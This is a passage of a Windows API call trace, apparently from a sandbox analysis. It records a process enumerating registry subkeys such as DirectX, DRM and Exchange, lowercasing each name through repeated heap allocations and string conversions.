0x0 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.799] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xddb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.799] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xddb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xddc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.799] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xddb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.800] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xddb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xddc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.800] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xddb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.800] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xddb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xddc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0023.800] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.800] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.801] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xddb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.801] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xddb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xddc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.801] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xddb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.801] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.801] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xddb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.801] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.802] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xddb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.802] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xddb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xddc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.802] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xddb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0023.802] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.802] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.802] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xddb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.803] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xddb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.803] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xddb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.803] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xddb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0023.803] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.803] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.804] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xddb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.804] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xddb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xddc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.804] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xddb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xddc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.804] 